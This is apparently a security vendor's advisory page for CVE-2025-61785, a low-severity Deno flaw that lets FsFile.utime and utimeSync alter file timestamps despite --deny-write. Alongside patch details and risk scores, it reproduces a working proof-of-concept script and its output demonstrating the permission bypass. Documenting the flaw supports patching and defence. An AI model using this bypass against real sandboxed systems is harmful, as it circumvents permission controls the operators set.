Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🦀
🦀 crates.io
Not in CISA KEV
LOW severity

CVE-2025-61785 — deno

LOWFix: denoland/deno@992e998

CVE-2025-61785 is a low-severity (CVSS 3.3) CWE-266 vulnerability in deno. A fix is available for deno — see the affected versions and patch details below.

Deno's --deny-write check does not prevent permission bypass

Also known asGHSA-vg2r-rmgp-cgqj
Published
Oct 8, 2025
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-61785.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs10th percentile — riskier than 10% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2025-61785 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🦀deno

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./.

It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./).

Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model.

PoC

Setup:

deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3

touch test.txt
// touch test.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
async function poc1(){
    using file = await Deno.open("./test.txt", { read: true, write: false});

    const fileInfoBefore = await file.stat();
    
    await file.utime(new Date("2000-01-01"), new Date("2000-01-01"));
    
    const fileInfoAfter = await file.stat();
    
    
    console.log(`BEFORE (utime)`)
    console.log(new Date(fileInfoBefore.mtime).getFullYear())
    console.log(new Date(fileInfoBefore.atime).getFullYear())
    
    
    console.log(`AFTER (utime)`)
    console.log(new Date(fileInfoAfter.mtime).getFullYear())
    console.log(new Date(fileInfoAfter.atime).getFullYear())
}


// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
function poc2(){
    using file = Deno.openSync("./test.txt", { read: true, write: false});

    const fileInfoBefore = file.statSync();
    
    file.utimeSync(new Date("2001-01-01"), new Date("2001-01-01"));
    
    const fileInfoAfter = file.statSync();
    
    
    console.log(`BEFORE (utimeSync)`)
    console.log(new Date(fileInfoBefore.mtime).getFullYear())
    console.log(new Date(fileInfoBefore.atime).getFullYear())
    
    
    console.log(`AFTER (utimeSync)`)
    console.log(new Date(fileInfoAfter.mtime).getFullYear())
    console.log(new Date(fileInfoAfter.atime).getFullYear())
}

// https://docs.deno.com/api/deno/~/Deno.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
async function poc3(){
    // not executed
    await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}

// https://docs.deno.com/api/deno/~/Deno.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4
function poc4(){
    // not executed
    Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}


async function main(){
    const poc = Deno.args[0] || 1;

    const status = await Deno.permissions.query({ name: "write", path: "./" });
    console.log(status);
    switch (poc) {
        case "1":
            poc1()
            break;
        case "2":
            poc2()
            break;
        case "3":
            poc3()
            break;
        case "4":
            poc4()
            break;
        default:
            poc1()
    }
}

main()

Output:

  • deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
PermissionStatus { state: "denied", onchange: null }
BEFORE (utime)
2025
2025
AFTER (utime)
2000
2000
  • deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
PermissionStatus { state: "denied", onchange: null }
BEFORE (utimeSync)
2000
2000
AFTER (utimeSync)
2001
2001
  • deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag
    await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
               ^
    ...
  • deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag
    Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
         ^
    ...

Impact

Permission model bypass

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🦀crates.iodenoall versions2.5.3cargo update -p deno --precise 2.5.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for deno, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update deno to 2.5.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-61785 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-61785 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2025-61785. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary `Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`. It's possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`). Similar APIs like `Deno.utime` and `Deno.utimeSync` require `allow-write` permission, however, when a file is opened, even with read only flags and deny-write permis
O3 Security · Impact-Aware SCA

Is CVE-2025-61785 in your dependencies?

O3 Security finds CVE-2025-61785 across crates.io dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2025-61785: deno (Low 3.3) | O3 Security